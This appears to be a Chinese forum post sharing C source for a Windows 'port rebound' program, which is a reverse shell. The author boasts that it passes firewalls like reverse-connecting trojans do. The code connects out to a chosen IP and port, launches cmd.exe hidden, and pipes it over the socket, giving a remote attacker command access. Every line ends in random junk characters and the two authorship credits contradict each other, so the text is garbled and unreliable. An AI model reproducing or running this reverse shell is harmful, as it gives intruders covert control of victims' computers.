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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tnqW!F~  
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/* ============================== y[q W>  
Rebound port in Windows NT h 7kyz  
By wind,2006/7 Wr`=P,  
===============================*/ !IoD";Oi  
#include ':[+UUC@  
#include [=e61Z  
d(, -13  
#pragma comment(lib,"wsock32.lib") ;knSn$  
,!kyrk6  
void OutputShell(); ,qiS;2(  
SOCKET sClient; 9L%&4V}BIS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9^0 'VRG  
5g F}7D@  
void main(int argc,char **argv) Y~=5umNSX  
{ C,]Q/6'>  
WSADATA stWsaData; Ul@ZCv+  
int nRet; mwbkXy;8  
SOCKADDR_IN stSaiClient,stSaiServer;  .^@+$}   
WSDNTfpI  
if(argc != 3) 4TG|  
{ dyWWgC%A  
printf("Useage:\n\rRebound DestIP DestPort\n"); ksDG8^9>]  
return; ~SM2W%  
} \'E_  
b_V)]>v+  
WSAStartup(MAKEWORD(2,2),&stWsaData); QI=SR  
rC_K L  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =eac,]31  
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stSaiClient.sin_family = AF_INET; z&<Rx[  
stSaiClient.sin_port = htons(0); P_-zkw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Tj0eW(<!s  
Zu%_kpW  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2_r}4)z  
{ _I{&5V~z  
printf("Bind Socket Failed!\n"); b% $S6.  
return; H/)=  
} A ,LAA$  
C+5^[V  
stSaiServer.sin_family = AF_INET; @GnsW;$*~.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [n74&EH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]-x#zp;=  
\vQ_:-A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;i:Uoyi  
{ (Egykh>  
printf("Connect Error!"); / 6gRoQ%j  
return; bL0+v@(r  
} DMf^>{[  
OutputShell(); d_5h6C z4  
} NPB':r-8  
NLz$jk%=g  
void OutputShell()  .)cOu>  
{ &`>*3m(  
char szBuff[1024]; l*X5<b9  
SECURITY_ATTRIBUTES stSecurityAttributes; 6h+/C]4  
OSVERSIONINFO stOsversionInfo; 2"__jp:(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rEAPlO.Yp  
STARTUPINFO stStartupInfo; G)<k5U4  
char *szShell; ew`R=<mZ,7  
PROCESS_INFORMATION stProcessInformation; "A/kL@-C  
unsigned long lBytesRead; , R^Pk6m>  
saRB~[6I  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )@K|Co  
Z@ I%ppd  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -3 W 4  
stSecurityAttributes.lpSecurityDescriptor = 0; m};_\Db`  
stSecurityAttributes.bInheritHandle = TRUE; -w@fd]g  
D ^ &!  
`J-"S<c?_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ' > \*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p{-1%jQ}]  
aY {.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *JpEBtTv=5  
stStartupInfo.wShowWindow = SW_HIDE; F`u{'w:Hv  
stStartupInfo.hStdInput = hReadPipe; yv'rJI~ Ps  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UBU(@T(  
;<&s _C3  
GetVersionEx(&stOsversionInfo); H/, tE0ZV  
p!Gf ^  
switch(stOsversionInfo.dwPlatformId) ?` `+OH  
{ OOk53~2id  
case 1: TTOd0a  
szShell = "command.com"; Q'|cOQX  
break; G*"N}M1)  
default: |f>y"T+1  
szShell = "cmd.exe"; 9*2hBNp+  
break; !Uj !Oy  
} +Nza@B d  
gj'ar  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %^5$=w  
n]o+KT\  
send(sClient,szMsg,77,0); 5cfzpOqr0  
while(1) C*gSx3OG  
{ lO9>?y8.y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \2+xMv)8  
if(lBytesRead) 9J%>2AA  
{ uq%RZF z(v  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $ o t"Du  
send(sClient,szBuff,lBytesRead,0); D8dTw{C  
} H@ w6.[#  
else C$(t`G  
{ 6*LU+U=`  
lBytesRead=recv(sClient,szBuff,1024,0); -B4v1{An  
if(lBytesRead<=0) break; rmhCuY?f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n!N;WL3k  
} NF a ;  
} *U8#'Uan  
QyN~Crwo  
return; w{r ->Phe  
}
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